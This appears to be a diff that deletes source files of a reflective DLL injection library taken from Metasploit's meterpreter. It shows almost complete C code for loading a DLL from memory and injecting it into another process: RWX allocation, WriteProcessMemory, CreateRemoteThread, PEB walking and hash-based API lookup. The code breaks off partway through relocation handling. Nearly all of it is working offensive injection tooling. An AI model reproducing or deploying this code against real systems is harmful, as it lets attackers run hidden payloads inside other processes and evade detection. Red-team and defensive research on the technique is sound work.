char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// return the File Offset to the ReflectiveLoader() functions code...
|
||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||
}
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||
{
|
||||
HMODULE hResult = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwOldProtect1 = 0;
|
||||
DWORD dwOldProtect2 = 0;
|
||||
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||
DLLMAIN pDllMain = NULL;
|
||||
|
||||
if( lpBuffer == NULL || dwLength == 0 )
|
||||
return NULL;
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( dwReflectiveLoaderOffset != 0 )
|
||||
{
|
||||
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||
|
||||
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||
{
|
||||
// call the librarys ReflectiveLoader...
|
||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||
if( pDllMain != NULL )
|
||||
{
|
||||
// call the loaded librarys DllMain to get its HMODULE
|
||||
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||
hResult = NULL;
|
||||
}
|
||||
// revert to the previous protection flags...
|
||||
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hResult = NULL;
|
||||
}
|
||||
|
||||
return hResult;
|
||||
}
|
||||
//===============================================================================================//
|
||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// defined in order to use the correct RDI prototypes.
|
||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||
{
|
||||
BOOL bSuccess = FALSE;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !hProcess || !lpBuffer || !dwLength )
|
||||
break;
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
break;
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
break;
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||
break;
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||
|
||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hThread = NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -1,41 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,53 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,493 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN64
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA;
|
||||
GETPROCADDRESS pGetProcAddress;
|
||||
VIRTUALALLOC pVirtualAlloc;
|
||||
VIRTUALLOCK pVirtualLock;
|
||||
OUTPUTDEBUG pOutputDebug;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
UINT_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
UINT_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
UINT_PTR uiAddressArray;
|
||||
UINT_PTR uiNameArray;
|
||||
UINT_PTR uiExportDir;
|
||||
UINT_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
UINT_PTR uiHeaderValue;
|
||||
UINT_PTR uiValueA;
|
||||
UINT_PTR uiValueB;
|
||||
UINT_PTR uiValueC;
|
||||
UINT_PTR uiValueD;
|
||||
UINT_PTR uiValueE;
|
||||
|
||||
register UINT_PTR inspect;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
// we will start searching backwards from our current EIP
|
||||
#ifdef _WIN64
|
||||
uiLibraryAddress = eip();
|
||||
#else
|
||||
__asm {
|
||||
call geteip
|
||||
geteip:
|
||||
pop uiLibraryAddress
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
break;
|
||||
}
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 5;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
|
||||
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
|
||||
// iterate through all sections, loading them into memory.
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||
{
|
||||
/*
|
||||
pOutputDebug("Loading library: ");
|
||||
pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
if (! uiLibraryAddress) {
|
||||
//pOutputDebug("Loading library FAILED\n");
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
continue;
|
||||
}
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
/*
|
||||
pOutputDebug("Resolving function: ");
|
||||
pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( UINT_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( UINT_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if there are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we iterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
